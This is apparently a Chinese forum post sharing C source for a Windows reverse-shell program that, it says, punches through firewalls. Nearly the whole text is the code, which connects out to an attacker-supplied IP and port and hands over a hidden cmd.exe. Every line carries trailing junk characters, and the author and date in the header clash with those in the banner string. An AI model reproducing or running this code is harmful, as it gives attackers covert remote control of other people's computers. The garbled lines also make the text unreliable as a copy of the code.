这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [b$4Shx
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/* ============================== *OyHHq|>q
Rebound port in Windows NT T\r@5Xv
By wind,2006/7 ~/_SMPLo
===============================*/ wM|"I^[
#include `~cuQ<3Tn
#include SvR7eC
HEGKX]
#pragma comment(lib,"wsock32.lib") *@TZ+{t
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void OutputShell(); ?:Bv
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SOCKET sClient; ^H6<Km
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BT@r!>Nl
RW P<B0)
void main(int argc,char **argv) sUYxT>R
{ _FwK-?4E-
WSADATA stWsaData; TFcT3]R[rL
int nRet; KOwOIDt
SOCKADDR_IN stSaiClient,stSaiServer; )+Oujt
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if(argc != 3) _wdG|{px
{ 3su78e t}
printf("Useage:\n\rRebound DestIP DestPort\n"); "gD-8C3
return; %r+vSGt;5
} |$7vI&m
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5cWw7V<m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z.rh]Zq
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stSaiClient.sin_family = AF_INET; 1 tR_8lC
stSaiClient.sin_port = htons(0); C^)*Dsp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~g7l8H67
{ >*wtbkU
printf("Bind Socket Failed!\n"); (@#M!'
return; 5 Qoew9rA
} !u]1dxa
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stSaiServer.sin_family = AF_INET; VS&TA>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $fgf
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #);[mW{F
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d`1I".y
{ =LTmr1?
printf("Connect Error!"); *kIc9}
return; =f(cH152T
} V
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OutputShell(); W14Vm(`N
} (
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void OutputShell() cv/_r#vN
{ ^V%rag
char szBuff[1024]; Wpc|`e<
SECURITY_ATTRIBUTES stSecurityAttributes; _{|D
OSVERSIONINFO stOsversionInfo; xW[ -n
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |7#[ (%D!
STARTUPINFO stStartupInfo; P4T h_B7
char *szShell; jzK5-;b
PROCESS_INFORMATION stProcessInformation; )Af~B'OUd
unsigned long lBytesRead; S(mF%WJ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M?/jkc.8H
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m E^o-9/
stSecurityAttributes.lpSecurityDescriptor = 0; 4tx|=;@0
stSecurityAttributes.bInheritHandle = TRUE; 0 P[RyQI
)(7&X45,k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j w* IO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S"wg2X<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /cZ-tSC)o
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cT\I[9!)
stStartupInfo.wShowWindow = SW_HIDE; _GKB6e%
stStartupInfo.hStdInput = hReadPipe; x2QIPUlf
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; phE
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FW"^99mrnb
GetVersionEx(&stOsversionInfo); 2r%lA\,h$
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switch(stOsversionInfo.dwPlatformId) xF8}:z0
{ r",]Voibd
case 1: c/5W4_J
szShell = "command.com"; xm6 EKp:
break; F:#J:x'
default: oDcKtB+2
szShell = "cmd.exe"; ?:Y#Tbi3
break; S!{t6'8K
} Jl "mL
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y ?G_y
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send(sClient,szMsg,77,0); .`CZUKG
while(1) R<x'l=,D(
{ e:AHVepj{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {s3z"OV
if(lBytesRead) 8UkKU_Uso
{ 0R0{t=VJZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LB/C-n.`
send(sClient,szBuff,lBytesRead,0); K 0hu:1l)
} >E,U>@+
else m4:^}O-#
{ T}3v(6ew4
lBytesRead=recv(sClient,szBuff,1024,0); >h+349
if(lBytesRead<=0) break; 9dzdrT
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wDwH.~3!
} ?RzD Qy D
} kw`WH)+F
)+H[kiN
return; k0Ek:MjJr
}